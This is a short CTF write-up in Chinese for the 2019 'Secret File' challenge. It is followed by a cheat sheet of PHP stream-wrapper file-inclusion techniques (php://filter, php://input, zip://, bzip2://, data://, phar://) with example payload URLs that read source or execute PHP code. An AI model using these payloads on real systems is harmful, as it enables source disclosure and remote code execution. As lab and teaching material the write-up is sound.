[极客大挑战 2019] Secret File
右键看源码,找到 href="./Archive_room.php"。
点 secret 之后,没反应,直接就查阅结束。
打开 burp 抓包,发现文件。 secr3t.php
通过 php 伪协议读取到了 flag。
常见的 php 伪协议:
1.php://filter/read=convert.base64-encode/resource=[文件名] 读取文件源码(针对 php 文件需要 base64 编码)
2.php://input + [POST DATA] 执行 php 代码
3zip:// & bzip2:// & zlib:// 协议
条件
allow_url_fopen:off/on
allow_url_include :off/on
作用
zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。
用法
1.zip://[压缩文件绝对路径]%23 [压缩文件内的子文件名](# 编码为 %23)
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
2.compress.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
- 4、data:// 协议
条件
allow_url_fopen:on
allow_url_include :on
作用
自 PHP>=5.2.0 起,可以使用 data:// 数据流封装器,以传递相应格式的数据。通常可以用来执行 PHP 代码。
用法
data://text/plain
data://text/plain;base64,
示例
data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
- 5、phar:// 协议
用法
phar:// 协议与 zip:// 类似,同样可以访问 zip 格式压缩包内容,在这里只给出一个示例:
http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt